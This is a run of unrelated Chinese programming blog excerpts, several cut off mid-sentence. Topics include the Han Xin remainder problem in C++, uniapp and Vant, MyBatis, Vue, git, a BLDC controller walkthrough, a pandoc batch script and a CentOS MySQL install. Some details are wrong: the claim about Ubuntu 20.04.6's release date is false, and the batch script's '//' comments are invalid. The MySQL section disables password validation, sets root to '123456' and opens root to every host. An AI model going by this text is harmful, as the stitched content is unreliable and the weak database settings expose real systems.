转自:C++循环结构设计——韩信点兵_c++韩信点兵_LS_FIGHTING的博客-CSDN博客 韩信点兵(hanxin) 相传韩信才智过人,从不直接清点自己军队的人数,只要让士兵先后以三人一排、五人一排、七人一排地变换队形,而他每次只掠一眼队伍的排尾就知道总人数了。输入包含多组数据,每组数据包含3个整数a,b,c,表示每种队形排尾的人数(a<3,b<5,c<7),输出总人数的最小值(或报告无解)。已知总人数不小于10,不超过100。输入到文件结束为止。 样例输入: 2 1 6 2 1 3 样例输出: Case 1: 41 Case 2: No answer 方法一:已知总人数不小于10,不超过100,则在此范围内使用for循环依次检验总人数所排队型是否满足队尾人数。 #include <iostream> #include <stdio.h> using namespace std; int main() { int sum=0,a,b,c; int kcase=1; while(scanf("%d%d%d",&a,&b,&c)==3) { for(sum=10;sum<=100;sum++) { if(sum%3==a&&sum%5==b&&sum%7==c) { printf("Case %d: %d\n",kcase++,sum); break; } } if(sum==101) { kcase++; printf("No answer\n"); } } return 0; } 方法二:中国剩余定理,又称为中国余数定理、孙子剩余定理,古有"韩信点兵"、"孙子定理"、"鬼谷算"、"隔墙算"、"剪管术"、"秦王暗点兵"、"物不知数"之名,是数论中的一个重要命题。 在中国古代著名数学著作《孙子算经》中,有一道题目叫做“物不知数”,原文如下: 有物不知其数,三三数之剩二,五五数之剩三,七七数之剩二。问物几何? 即,一个整数除以三余二,除以五余三,除以七余二,求这个整数。 中国数学家秦九韶于1247年做出了完整的解答,口诀如下: 三人同行七十希,五树梅花廿一支,七子团圆正半月,除百零五使得知 这个解法实际上是,首先利用秦九韶发明的大衍求一术求出 5和7的最小公倍数35的倍数中除以3余1的最小一个为70(这个称为35相对于3的数论倒数), 3和7的最小公倍数21(除以5余1)相对于5的数论倒数21, 3和5的最小公倍数15(除以7余1)相对于7的数论倒数15。 然后70×2+21×3+15×2=233,233便是可能的解之一。 它加减3、5、7的最小公倍数105的若干倍仍然是解,因此最小的解为233除以105的余数23。 附注:这个解法并非最简,因为实际上35就符合除3余2的特性,所以最小解是:35×1+21×3+15×2-3×5×7=128-105=23 最小解加上105(=3×5×7)的正整数倍都是解

uniapp引入 vant

这里写目录标题 引入方式1、下载vant源码2.创建 uniapp 项目,在根目录下新建 一个文件夹wxcomponents ,将下载好的压缩包中的 dist 文件夹放到 wxcomponents 里, 推荐将 dist 重命名为 vant,3.在根目录下App.vue中引入UI样式index.wxss,如下图4.在pages.json页面将vant的组件注册, 你可以选择在一个页面配置,但是只能在这个页面内使用,你也可以选择在globalStyle里面配置,是的所有页面都可以直接使用6、van-dialog使用方式 引入方式 1、下载vant源码 方式一:从 Vant 官网首页进入 GitHub下载对应版本的压缩包,将文件解压后备用,确保下载的压缩包里有dist 文件夹 方式二:通过npm install 方式引入 npm i @vant/weapp -S --production 2.创建 uniapp 项目,在根目录下新建 一个文件夹wxcomponents ,将下载好的压缩包中的 dist 文件夹放到 wxcomponents 里, 推荐将 dist 重命名为 vant, 3.在根目录下App.vue中引入UI样式index.wxss,如下图 @import "/wxcomponents/vant/common/index.wxss"; 4.在pages.json页面将vant的组件注册, 你可以选择在一个页面配置,但是只能在这个页面内使用,你也可以选择在globalStyle里面配置,是的所有页面都可以直接使用 "globalStyle": { "navigationBarTextStyle": "white", "navigationBarTitleText": "智能充电宝配置程序", "navigationBarBackgroundColor": "#4D6FFD", "backgroundColor": "#F8F8F8", "usingComponents": { "van-button": "/wxcomponents/vant/button/index" } }, "usingComponents": { "van-action-sheet": "/wxcomponents/vant/action-sheet/index", "van-area": "

[SSM]MyBatis查询语句与动态SQL

目录 十、MyBatis查询语句专题 10.1返回Car 10.2返回List 10.3返回Map 10.4返回List 10.5返回Map,map> 10.6resultMap结果映射 使用resultMap进行结果映射 是否开启驼峰命名自动映射 10.7返回总记录条数 十一、动态SQL 11.1 if标签 11.2 where标签 11.3 trim标签 11.4 set标签 11.5choose when otherwise 11.6 foreach标签 批量删除 批量添加 11.7sql标签与include标签 十、MyBatis查询语句专题 10.1返回Car 当查询的结果有对应的实体类,并且查询结果只有一条时: 查询结果是一条的话可以使用List集合。 10.2返回List<Car> 当查询的记录条数是多条的时候,必须使用集合接收,如果使用单个实体类接收会出现异常。 10.3返回Map 当返回的数据没有合适的实体类对应的话,可以采用Map集合接收。字段名叫做key,字段值叫做value。查询如果可以保证只有一条数据,则返回一个Map集合即可。 CarMapper.selectByIdRetMap /** * 通过id查询⼀条记录,返回Map集合 * @param id * @return */ Map<String, Object> selectByIdRetMap(Long id); CarMapper.xml <select id="selectByIdRetMap" resultType="map"> select * from t_car where id = #{id} </select> resultMap="map",这是因为mubatis内置了很多别名。 使用map不需要 select as; CarMapperTest.testSelectByIdRetMap @Test public void testSelectByIdRetMap(){ CarMapper mapper = SqlSessionUtil.

修改cmd运行的字符集为UTF-8

更改 Windows 命令提示符(CMD)的默认代码页编码, 打开命令提示符(CMD)。 输入以下命令以打开注册表编辑器:regedit 导航到以下注册表路径: HKEY_CURRENT_USER\Software\Microsoft\Command Processor 在右侧窗格中,查找名为 “Autorun” 的字符串值。如果该值不存在,请执行以下操作: a. 在 “Command Processor” 键上右键,选择 “新建”,然后选择 “字符串值”。 b. 将新创建的字符串值命名为 “Autorun”。 右键单击 “Autorun”,选择 “修改”。 在 “值数据” 字段中,输入以下命令来设置新的代码页编码(将 “X” 替换为所需的代码页编码编号): chcp X > nul utf-8 65001美国 MS-DOS 437936:简体中文(GB2312)950:繁体中文(Big5)932:日文(Shift-JIS)949:韩文(KS C 5601)1252:西欧语言(Windows-1252)1251:西里尔语(Windows-1251)1254:土耳其语(Windows-1254)1256:阿拉伯语(Windows-1256)1255:希伯来语(Windows-1255) 点击 “确定” 保存更改。 关闭注册表编辑器。 从现在开始,每次打开命令提示符时,都会自动应用设置的默认代码页编码。

mybatis打印sql日志

背景: 我们日常操作数据库的过程一般都是使用mybatis中执行sql操作,有时候为了确认mybatis拼接的sql是否正确,就需要在日志中打印出具体的sql语句,对应的入参以及数据库的返回值 打印mybatis的sql日志: 一.sql日志输出到控制台,修改mybatis-config文件,指定如下配置: <setting name="logImpl" value="STDOUT_LOGGING"/> 二.sql日志输出到文件,修改mybatis-config文件,指定如下配置 2.1 <!--指定 MyBatis 增加到日志名称的前缀,注意这里有一个.号--> <setting name="logPrefix" value="sqlLogFileName."/> <!--指定 MyBatis 所用日志的具体实现,未指定时将自动查找。SLF4J | LOG4J | LOG4J2 | JDK_LOGGING | COMMONS_LOGGING | STDOUT_LOGGING | NO_LOGGING--> <setting name="logImpl" value="SLF4J"/> 2.2 logback或者log4j增加配置: appender("ROLLING", RollingFileAppender) { encoder(PatternLayoutEncoder) { Pattern = "[%d{yyyy-MM-dd HH:mm:ss.SSS}] [%level] [%thread] [%logger{50}] >>> %msg%n" } rollingPolicy(SizeAndTimeBasedRollingPolicy) { fileNamePattern = "log-%d{yyyy-MM-dd}-%i.log" maxFileSize = "2GB" } } appender("ROLLING-ASYNC", AsyncAppender) { queueSize = 40960 neverBlock = true appenderRef("

qtcreator为项目添加文件夹和文件

一,目标 下面是我的项目结构 我想将一个第三方库的文件夹及其中的文件添加到我的项目中,要添加的文件夹是这个src以及其中所有的h和cpp文件 二,步骤 1,将需要的src文件夹复制粘贴到项目所在目录中 为了后续开发,我还将该文件夹改名成dxflib 2,此时qtcreator里面还是没有这个dxflib,继续下面步骤 3,现在,dxflib就添加进来了 4,现在,我在main中调用dxflib下dl_dxf.h会报错 5,两种解决方法 第一种:改成#include "dxflib/dl_dxf.h",但是这样每次要调用都要前面加一个文件路径,所以我更喜欢第二种。 第二种:在.pro中的HEADERS +下的最后面加一句INCLUDEPATH +=$$PWD/dxflib (上述代码中的 $$PWD 表示当前项目文件所在的路径。$$PWD/dxflib 将 dxflib 文件夹添加为包含路径。) 现在main中的就不会报错了,就可以快乐地玩耍了。

VS code控制台不能输入

调试的时候发现,不能在集成终端中输入,但是却可以在额外弹出的终端中输入。 关闭C/C++ compile and run 插件里面的选项 Whether should run in external terminal

Ubuntu 20.04.6服务版的安装

目录 一、Ubuntu安装包的下载 二、虚拟机的设置 第一步、创建虚拟机 第二步、选择虚拟机的硬件 第三步、操作系统安装来源选择 第四步、选择虚拟机所安装的系统 第五步、选择虚拟机存放的位置 第六步、对虚拟机的硬件设备进行配置 第七步、虚拟机网络的配置 第八步、更改I/O控制器和磁盘类型 第九步、虚拟机磁盘的设置 第十步、选择ISO镜像文件 三、执行安装 第一步、选择安装语言 第二步、选择键盘语言类型 第三步、网卡的配置 第四步、代理配置(DNS配置) 第五步、配置apt的镜像 第六步、磁盘的建立和选择 第七步、用户的创建 第八步、OpenSSHserver插件的安装 第九步、安装 第十步、配置静态IP 一、Ubuntu安装包的下载 Ubuntu是Linux大家族的一种,具有巨大的开源社区,即适合家庭个人使用又适用于商业环境,Ubuntu社区承诺每6个月发布一个新版本,以提供最新最强大的软件。 Ubuntu的名称来自非洲南部祖鲁语或豪萨语的“ubuntu"一词,意思是“人性”“我的存在是因为大家的存在",是非洲传统的一种价值观。 Ubuntu第⼀个版本是发布于 2004年,所以 Ubuntu 的⽣⽇是 2004 年的 10 ⽉ 20 ⽇。之后Ubuntu发行会遵循一个准则,Ubuntu 20.04.6 也就意味着 2020年 4 ⽉6日发布的版本。 ubuntu的下载网站 ubuntu官网: https://ubuntu.com/download ubuntu清华镜像源:https://mirrors.tuna.tsinghua.edu.cn/ubuntu-releases/20.04/1 浙江大学:Index of /ubuntu-releases/ 中科大源:http://mirrors.ustc.edu.cn/ubuntu-releases/ 阿里云开源镜像站:http://mirrors.aliyun.com/ubuntu-releases/ 北京理工大学开源:http://mirror.bit.edu.cn/ubuntu-releases/ 下载好安装包ubuntu-20.04.6-live-server-amd64.iso后,就可以执行下一步。 二、虚拟机的设置 个人使用的虚拟机安装软件为VMware® Workstation 17 Pro版本17.0.0 build-20800274 第一步,创建虚拟机 个人推荐自定义安装,而不采用典型安装,原自定义安装可以对虚拟磁盘及I/O控制器(SCSI控制器)进行修改,且自定义安装比典型安装具有更多的设置功能。 第二步、选择虚拟机的硬件 这一步可以选择虚拟机的硬件兼容性,一般默认选项 第三步、操作系统安装来源选择 在VMware® Workstation 17 Pro中我们可以选择默认简易安装来安装虚拟机的操作系统,但为了能之后自我选择设置,选择第三项稍后安装操作系统,点击下一步。 第四步、选择虚拟机所安装的系统 这个得按照自己使用的设备来决定,64位选择64位,32位只能选择32位。

快速集成Knife4j

1.引入依赖 <dependency> <groupId>com.github.xiaoymin</groupId> <artifactId>knife4j-spring-boot-starter</artifactId> </dependency> <dependency> <groupId>io.springfox</groupId> <artifactId>springfox-swagger2</artifactId> </dependency> <dependency> <groupId>io.springfox</groupId> <artifactId>springfox-swagger-ui</artifactId> </dependency> 2.配置类 package com.heima.common.swagger; import com.github.xiaoymin.knife4j.spring.annotations.EnableKnife4j; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Import; import springfox.bean.validators.configuration.BeanValidatorPluginsConfiguration; import springfox.documentation.builders.ApiInfoBuilder; import springfox.documentation.builders.PathSelectors; import springfox.documentation.builders.RequestHandlerSelectors; import springfox.documentation.service.ApiInfo; import springfox.documentation.spi.DocumentationType; import springfox.documentation.spring.web.plugins.Docket; import springfox.documentation.swagger2.annotations.EnableSwagger2; @Configuration @EnableSwagger2 @EnableKnife4j @Import(BeanValidatorPluginsConfiguration.class) public class Swagger2Configuration { @Bean(value = "defaultApi2") public Docket defaultApi2() { Docket docket=new Docket(DocumentationType.SWAGGER_2) .apiInfo(apiInfo()) //分组名称 .groupName("1.0") .select() //这里指定Controller扫描包路径 .apis(RequestHandlerSelectors.basePackage("com.heima")) .paths(PathSelectors.any()) .build(); return docket; } private ApiInfo apiInfo() { return new ApiInfoBuilder() .

vue基础-创建vue项目的几种方式

文章目录 前言一、npm与pnpm包管理工具二、vue脚手架cli三、创建vue项目的几种方式三、使用vite创建项目总结 前言 vue基础,下面总结一下vue项目的第一步,创建项目的几种方式,希望对你有所帮助。 一、npm与pnpm包管理工具 1、安装node https://nodejs.org/en 二、vue脚手架cli 1、查看是否安装了cli vue --version 或 vue -V 2、全局安装cli npm install -g @vue/cli 三、创建vue项目的几种方式 1、vue ui 创建项目 vue ui 2、 vue init webpack npm install -g webpack vue init webpack 3、 vue create (项目名) vue create your-project-name 三、使用vite创建项目 1、安装vite的方法 npm install -g vite 2、使用vite创建项目 npm init vue@latest 总结 这是Vue创建项目的几种方式,希望能帮助到你。

vscode和uniapp如何使用git提交代码

1.下载安装git,配置基础信息 name,email等 git config user.name git config user.password git config user.email 查配置 git config --list 2.创建项目 3.初始化仓库 git init 4.链接远程仓库 git remote add origin 远程仓库链接 注:vscode和uniapp中也可以直接输入远程仓库链接,如果找不到位置则可以直接使用命令 5.提交代码 uniapp: 安装esay-git插件选择项目右键,要先初始化才能有上图的内容,若没初始化,右键可以看到git init初始化,可以直接在uniapp中初始化初始化成功后会弹出上图,让输入远程仓库和用户名以及邮箱,自己配置就行配置完成后点击图一中的esay-git源码,点击左下角可以切换/创建分支可以协同项目需要先拉取项目,点击右上角更多,选择拉取点击图中的加号可以将修改内容提交值暂存区,图中右下角的位置也会提示当前步骤为什么,是否成功,相当于git add ***在输入框中输入本次提交内容,相当于git commit -m "***",然后点击对号即可commit 成功后点击更多,选择推送,推送完成后上传成 vscode操作和上述基本相同,

NXP-无感BLDC代码MCSPTE1AK116_BLDC_6Step代码详解

目录 开发平台 工程目录 Generated_Code Sources Config 电机的参数 BLDC参数 无感模式下的一些参数 Peripherals FTM/PDB/ADC配置参数 actuate_s32k meas_s32k motor_structure state_machine main main()主函数 PORT_IRQHandler() PDB0_IRQHandler() FTM1_Ovf_Reload_IRQHandler()重点 ADC0_IRQHandler()重点 LPIT0_IRQHandler()重点 CheckSwitchState() CheckFaults() StallCheck() 状态切换函数 AppInit() AppStop() AppCalib() AppStopToAlignment() AppAlignment() AppAlignmentToStart() AppStart() AppStartToRun() AppRun() AppFault() 对MCSPTE1AK116_BLDC_6Step工程代码进行理解 开发平台 开发平台S32DS for ARM V2.2 文章可以配合无感BLDC对应技术文档使用 工程目录 重点关注红色框圈出来的部分 Generated_Code 这个文件夹下的文件是你配置完CPU基本外设模块后自动生成的代码 比如在pin_mux.c下,则是你配置的各种GPIO 其它各模块类似。 Sources Sources目录下则是我们需要的电控应用层文件 Config Config下有两个头文件 其中BLDC_appconfig.h文件中有: 电机的参数 //Motor Parameters //---------------------------------------------------------------------- //Pole-pair number = 2 [-] //Back-EMF constant = 0.005872 [V.sec/rad] //Phase current nominal FRAC16(0.

使用python调用ChatGPT API 简单示例

如果你已经获得了OpenAI的API密钥,并且想要使用Python发起ChatGPT对话,你可以使用OpenAI的Python SDK来实现。下面是一个简单的示例代码: 首先,你需要确保已安装OpenAI的Python SDK。你可以使用pip来安装: pip install openai 然后,你可以使用以下代码来发起对话: import openai # 设置你的API密钥 openai.api_key = 'YOUR_API_KEY' # 定义对话起始语句 conversation_start = '你好,' user_input = '' while user_input.lower() != '结束对话': # 用户输入 user_input = input("用户: ") # 合并用户输入和对话起始语句 input_text = conversation_start + user_input # 发送请求获取模型的回复 response = openai.Completion.create( engine='text-davinci-003', prompt=input_text, max_tokens=50, temperature=0.6 ) # 解析并打印模型的回复 model_reply = response.choices[0].text.strip() print("ChatGPT: " + model_reply) 确保将 'YOUR_API_KEY' 替换为你的实际API密钥。以上代码将循环接收用户输入并将其与对话起始语句结合,然后将组合后的文本发送给ChatGPT 效果展示: 如何获取API key: 地址: https://platform.openai.com/account/api-keys

Windows系统中将markdown文件批量转化为PDF

需要将一个文件夹下的多个md文件转化为PDF 下载安装pandoc 官网下载地址:Pandoc ,下载位置如下图。 下载后按照默认文件路径安装完成 使用everything软件查找pandoc.exe文件路径,如下图: 安装完成之后就可以在cmd窗口或Windows power shell中使用pandoc指令了,例如: pandoc test.md -o test.pdf #将test.md转化为test.pdf 通过bat脚本进行批量转化 编写bat脚本 bat脚本示例如下: @echo off setlocal enabledelayedexpansion set "PANDOC_PATH=path\to\pandoc.exe" //将"path\to\pandoc.exe"替换为你的Pandoc可执行文件的路径 set "INPUT_FOLDER=path\to\input\folder" //将"path\to\input\folder"替换为你的Markdown文件所在的文件夹路径 set "OUTPUT_FOLDER=path\to\output\folder" //将"path\to\output\folder"替换为你希望保存PDF文件的文件夹路径 for %%F in ("%INPUT_FOLDER%\*.md") do ( set "INPUT_FILE=%%~F" set "OUTPUT_FILE=!OUTPUT_FOLDER!\%%~nF.pdf" "%PANDOC_PATH%" "!INPUT_FILE!" -o "!OUTPUT_FILE!" ) echo Conversion completed. pause 双击执行bat文件即可 报错 双击执行上面的bat文件会报错,报错信息如下: Error producing PDF. ! Package inputenc Error: Unicode character 绗? pandoc.exe: : hPutChar: permission denied (Permission denied) 解决 报错原因是markdown文件中有中文,为了支持中文,我们需要生成一个自己的tex模板。

ES6知识点汇总(4)--函数

1. ES6中函数新增了哪些扩展? 1、参数 ES6允许为函数的参数设置默认值 function log(x, y = 'World') { console.log(x, y); } console.log('Hello') // Hello World console.log('Hello', 'andy') // Hello andy console.log('Hello', '') // Hello 函数的形参是默认声明的,不能使用let或const再次声明 function foo(x = 3) { let x = 1; // error const x = 2; // error } 参数默认值可以与解构赋值的默认值结合起来使用 function foo({x, y = 3}) { console.log(x, y); } foo({}) // undefined 3 foo({x: 1}) // 1 3 foo({x: 1, y: 2}) // 1 2 foo() // TypeError: Cannot read property 'x' of undefined 上面的foo函数,当参数为对象的时候才能进行解构,如果没有提供参数的时候,变量x和y就不会生成,从而报错,这里设置默认值避免

Python 之 基本概述

这里写目录标题 一、Python 简介1. 历史背景2. 特点3. 优缺点4. 应用领域 二、Python 解释器1. 解释器是什么?2. 解释器的构成及其各部分功能3. 解释器的执行过程 三、Python 环境安装四、第一个 Python 程序1. 实际操作2. 常见问题 五、Python 开发环境 一、Python 简介 1. 历史背景 Python 是一种高级编程语言,由荷兰人吉多·范罗苏姆(Guido van Rossum)于 1980 年代中期发明并首次发布。他最初设计 Python 语言是为了解决他在编程中遇到的问题,并希望创造一种比 C 语言更易用、更具有表达力和动态性的语言。Python 的名字来源于英国广播剧《巨蟒与香蕉》(Monty Python),这是一种幽默、调侃式的文化现象,也是 Python 语言的一个特色。Python 语言的设计哲学是优雅、明确、简单,它具有丰富的库和广泛的应用领域,包括 Web 开发、数据分析、人工智能、科学计算、网络编程、GUI 编程等等。由于其易学易用、可读性强、可扩展性好的特点,Python 已经成为目前最受欢迎的编程语言之一,在编程语言排行榜上一直名列前茅。 2. 特点 (1) 简单易学:Python 的语法简单易懂,容易上手,适合初学者学习。(2) 可读性强:Python 的代码结构清晰,缩进规则明确,代码可读性强,易于维护。(3) 可扩展性好:Python 支持多种编程范式,包括面向对象、函数式、过程式等,同时也支持 C/C++ 扩展,可以方便地与其他语言进行交互。(4) 库丰富:Python 拥有丰富的标准库和第三方库,可以满足各种需求,如数据处理、网络编程、图形界面等。(5) 跨平台性强:Python 可以在多种操作系统上运行,包括 Windows、Linux、Mac OS 等。 3. 优缺点 Python 具有如下优点:(1) 简单易学,适合初学者学习。(2) 可读性强,易于维护。(3) 可扩展性好,支持多种编程范式和 C/C++ 扩展。(4) 库丰富,可以满足各种需求。(5) 跨平台性强,可以在多种操作系统上运行。Python 具有如下缺点:(1) 性能较低,与 C/C++ 相比,Python 的执行速度较慢。(2) 代码保密性差,Python 的代码可以很容易地被反编译。(3)不适合开发大型项目,Python 的模块化和代码结构不如 Java 等语言。 4.

ES6知识点汇总(3)--对象

1. ES6中对象新增了哪些扩展? 1、属性的简写 ES6中,当对象键名与对应值名相等的时候,可以进行简写 const func= {foo:foo} // 等同于 const func= {foo} 方法也能够进行简写 const obj = { method() { return "Hello!"; } }; // 等同于 const obj = { method: function() { return "Hello!"; } } 在函数内作为返回值,也会变得方便很多 function getPoint() { const x = 10; const y = 20; return {x, y}; } getPoint() // {x:10, y:20} 注意:简写的对象方法不能用作构造函数,否则会报错 const obj = { f() { this.foo = 'zoo'; } }; new obj.

CentOS7在线安装MySQL新手小白教程

1、下载并安装MySQL官方的 Yum Repository wget -i -c http://dev.mysql.com/get/mysql57-community-release-el7-10.noarch.rpm 使用上面的命令下载安装用的Yum Repository yum -y install mysql57-community-release-el7-10.noarch.rpm 开始安装MySQL服务器 yum -y install mysql-community-server 如果网络慢的话会花点时间请耐心等待 注意:安装mysql时如果出现Public key for mysql-community-common-5.7.42-1.el7.x86_64.rpm is not installed告先执行导入密匙在重新安装 rpm --import https://repo.mysql.com/RPM-GPG-KEY-mysql-2022 yum install -y mysql-community-server 2、MySQL数据库启动设置 #启动MySQL systemctl start mysqld.service 查看MySQL运行状态 systemctl status mysqld.service 运行状态如图: 在日志文件中获取随机登录密码: grep "password" /var/log/mysqld.log 使用命令连接数据库,会让我们输入密码,密码就是上一步获取的 [root@localhost ~]# mysql -uroot -p 输入初始密码,此时不能做任何事情,因为MySQL默认必须修改密码之后才能操作数据库: 其中‘new password’替换成你要设置的密码,注意:密码设置必须要大小写字母数字和特殊符号(,/’;:等),不然不能配置成功,当然可以把密码校验给干掉 #执行这条语句干掉密码校验策略 uninstall plugin validate_password; ALTER USER 'root'@'localhost' IDENTIFIED BY 'new password'; ALTER USER 'root'@'localhost' IDENTIFIED BY '123456'; 3、开启mysql的远程访问 执行以下命令开启远程访问限制(注意:password替换自己的密码,%代表所有IP):

word免费转为pdf怎么转,分享这几个方法给大家!

将Word文档转换为PDF格式是一种常见的需求,因为PDF文件具有广泛的兼容性和安全性。本文将介绍三种免费转换Word为PDF的方法,包括记灵在线工具、使用Word自带功能以及使用Smallpdf。这些方法简单易行,帮助您轻松完成转换,方便与他人共享文档。 方法一:记灵在线工具 记灵在线工具不仅提供音频转文字的功能,还支持Word转PDF。该工具基于云计算技术,可以在浏览器中直接访问,无需下载和安装。以下是使用记灵在线工具将Word转换为PDF的步骤: 打开记灵在线工具的网页。选择“Word转PDF”选项。点击“选择文件”按钮,选择要转换的Word文档。等待上传和转换过程完成。转换完成后,点击“下载”按钮,即可保存PDF文件到本地。 方法二:使用Word自带功能 Microsoft Word自带了将文档保存为PDF的功能,无需安装其他工具。以下是使用Word自带功能转换Word为PDF的步骤: 打开要转换的Word文档。点击“文件”选项卡,在菜单中选择“另存为”。在另存为窗口中,选择保存位置和文件名。在“文件类型”下拉菜单中,选择“PDF”格式。点击“保存”按钮,即可将Word文档保存为PDF格式。 方法三:使用Smallpdf Smallpdf是一款在线PDF工具,提供了多种功能,包括将Word文档转换为PDF。以下是使用Smallpdf将Word转换为PDF的步骤: 打开Smallpdf的网页。在主页上找到并点击“Word转PDF”选项。将Word文档拖放到指定区域,或点击“选择文件”按钮上传Word文档。等待上传和转换过程完成。转换完成后,点击“下载”按钮,即可保存PDF文件到本地。 结语: 通过记灵在线工具、使用Word自带功能以及Smallpdf这三种方法,您可以免费将Word文档转换为PDF格式。无论是在线工具还是本地应用,它们都提供了简单易行的操作步骤,使您能够快速完成转换,并方便地与他人分享文档。根据个人需求和偏好,选择适合您的方法,享受高效的Word转PDF体验吧!

微服务的影响:好的、坏的和未来

​探索微服务的各个方面,包括其优势、潜在风险以及有效利用它们的最佳实践。 自 COVID-19 大流行开始以来,对技术的依赖已经完全循环。在过去三年中,数字应用程序越来越多地用于银行,购物,尤其是医疗保健服务等需求,这引起了消费者对技术的需求,以帮助他们解决日常生活的各个方面。并非巧合的是,今天对应用程序工程师、开发人员和设计师的要求要求他们在软件中提供几年前不需要的多功能性。在网络安全攻击发生率处于历史最高水平的时候,现在有必要以更灵活的方式构建和扩展应用程序,以便在发生需要干预的事件时可以适当地解决它们。 微服务架构是提高当今软件系统的可靠性和可扩展性的更合适方法。在基于云的微服务体系结构中,大型应用程序被分解为较小的独立服务,这些服务通过应用程序编程接口 (API) 相互通信。这允许更集中的开发和部署,并简化维护和扩展。微服务方法与整体式软件应用程序形成鲜明对比,后者是作为单个统一单元构建的,构建和部署起来更加复杂和耗时。 站点可靠性工程师(SRE)欣赏微服务的优势,因为它们提供了更快的开发周期、改进的容错能力和更轻松的部署。同时,他们认识到微服务带来了新的挑战,例如监控的复杂性增加,跨多个服务跟踪问题,并认识到需要仔细管理服务间通信。这些挑战带来了与保护客户免受网络安全问题相关的重大危险信号。随着数字技术变得越来越复杂并融入社会,如果要维护隐私和安全,那么了解维护这种类型的架构的必要性非常重要。 将应用迁移到微服务的挑战 根据Tetrate的联合创始人Varun Talwar的说法,Tetrate是一个边缘到工作负载的应用程序连接平台,通过网格管理的环境将公司连接到服务,过渡到微服务架构是应用程序现代化的重大挑战,因为许多组织运行已经建立多年的复杂系统,如果要修改它们,可能会导致功能中断。 此外,协助公司实施云服务的多学科解决方案组织Asperitas Consulting进行的一项调查表明,由于人员配备和缺乏适当工具等问题,应用程序现代化具有挑战性。 从整体式架构迁移到微服务本身也可能是一项繁琐的任务。根据Semaphore的Tomas Fernandez的说法,只有在对所有替代路径进行评估后,才应考虑微服务,他还建议微服务应用程序可能最适合作为整体式软件和由于客户必须在自己的私有系统上手动部署和配置所有内容而在本地部署的非本地部署。 从单体架构迁移到微服务的一种方法,越来越多的行业专业人士正在取得成功,这是由 Heroku 开发人员创建的 12 因素应用程序方法,这是一种支持多种编程语言的云平台服务。 此过程的步骤包括: 在修订控制中跟踪一个代码库,并进行许多部署。 声明和隔离依赖项。 将所有配置数据与代码分开存储。 将后备服务视为附加资源。 分离生成和运行阶段。 确保应用是无状态的。 通过端口绑定导出服务。 将应用开发为并发。 构建一次性流程,以便可以快速启动、停止和重新部署应用,而不会丢失数据。 我们正在实现基于匹配环境的持续集成。 将日志流式传输到指定的选定位置。 将行政和管理任务作为一次性流程运行。 同样重要的是要注意,并非所有旧版应用都可以现代化,API 可用于启用微服务。 微服务的优势 在过渡到微服务系统并在微服务系统上运行的挑战中,最重要的好处是为客户提供改进的用户体验。Redis Labs 是一家为全球近 9,000 家组织的服务提供商,其开发人员宣传经理 Loris Cro 表示,使用微服务开发的软件的最终用户看到的性能问题、错误和一般困难较少。例如,Cro指出,与单体应用程序相比,开发团队在每个服务级别使用不同语言和数据库系统的能力。尽管微服务提供了许多好处,但如果提供的服务不一致、应用通信延迟高,或者微服务过于复杂且不允许可扩展性、可伸缩性或功能添加,则可能会出现不良结果。 微服务的未来 根据研究,微服务架构市场将从2022年的5.49 亿美元增加到 2023年的 21.63 亿美元,在预测期间(2022-2023)以 18.66% 的复合年增长率 (CAGR) 增长。 预计会影响微服务开发的其他趋势包括: 改进了可观测性,增强了对微服务操作的洞察力,以及通过服务网格可重新配置的基础架构控制通信的能力。通过人工智能技术实现自动化和优化的监控、事件响应、容量规划和其他操作,以更有效地管理软件。通过使用实施微服务架构的多云策略,实现比单一来源软件开发更好的可靠性。 尽管转向支持微服务的软件可能会因其动态性质而带来新的安全挑战,但公司正在以接近 100% 的速度从单体架构过渡。最近的研究表明,85% 的公司正在通过迁移到微服务结构来实现架构现代化。该报告还指出,领先的公司在微服务架构上拥有至少75%的应用程序的可能性是其两倍。任何现有异常值越早进行转换,其安全措施可能就越可靠。 作者:Kedarnath Mundluru 更多技术干货请关注公号“云原生数据库” squids.cn,目前可体验全网zui低价RDS,免费的迁移工具DBMotion、SQL开发工具等。

聚簇索引和非聚簇索引关系

聚集索引和非聚集索引 什么是聚簇索引、非聚簇索引? 通俗的滴说:聚簇索引就是基于主键创建的索引,除了主键以外的其他索引被称为非聚簇索引,也叫二级索引! 在InnoDB引擎里面,一张表的数据对应的物理文件,本身就是按照B+树来组织的一种索引结构,而聚簇索引就是按照每一张表的主键来构建一颗B+树,然后叶子节点里面存储了这个表的每一行数据记录,所以基于InnoDB这样的一个特性聚簇索引,并不仅仅是一种索引类型还代表着一种数据的存储方式,同时也意味着每个表里面必须要有一个主键,如果没有主键InnoDB会默认选择或者添加一个隐藏列作为主键索引来存储这个表的数据行,一般情况下是建议使用自增id作为主键,这样的话id本身具有连续性,使得对应的数据也会按照顺序存储在磁盘上,写入性能和搜索的性能都很高,否测我们使用uuid这种随机id,那么在频繁插入数据的时候,就会导致随机磁盘IO,从而导致性能比较低! InnoDB只能存在一个聚簇索引,原因很简单,如果存在多个聚簇索引,那么意味着这个表里面的数据会存在多个副本,造成磁盘空间浪费以及数据维护困难的问题! 由于在InnoDB里面主键索引表示的是一种数据存储结构,所以如果是基于非聚簇索引来查询一条完整记录最终还是需要访问主键索引来检索的。 如图所示: 以上就我个人的理解了!

长连接和短链接详解

长连接和短链接详解 日常工作和生活中接触到的软件系统大多数情况下是由多个进程共同协作进行的,所以,了解进程之间如何进行高效的通信至关重要。 进程之间的通信有不少方式包括管道(包括无名管道和命名管道)、消息队列、信号量、共享存储等,今天记录下基于TCP/IP通信方式的长连接和短连接。 在了解长连接和短连接之前,先介绍下TCP/IP。 TCP/IP网络协议为计算机网络中进行数据交换而建立的规则、标准或约定的集合,作为互联网的基础协议,没有它就根本不可能上网,任何和互联网有关的操作都离不开TCP/IP协议。同时OSI七层模型也是要深入计算机网络必须掌握的东西。 OSI七层模型 物理层: 物理层负责最后将信息编码成电流脉冲或其它信号用于网上传输; eg:RJ45等将数据转化成0和1; 数据链路层: 数据链路层通过物理网络链路􏰁供数据传输。不同的数据链路层定义了不同的网络和协 议特征,其中包括物理编址、网络拓扑结构、错误校验、数据帧序列以及流控; 可以简单的理解为:规定了0和1的分包形式,确定了网络数据包的形式; 网络层 网络层负责在源和终点之间建立连接; 可以理解为,此处需要确定计算机的位置,怎么确定?IPv4,IPv6! 传输层 传输层向高层􏰁提供可靠的端到端的网络数据流服务。 可以理解为:每一个应用程序都会在网卡注册一个端口号,该层就是端口与端口的通信!常用的(TCP/IP)协议; 会话层 会话层建立、管理和终止表示层与实体之间的通信会话; 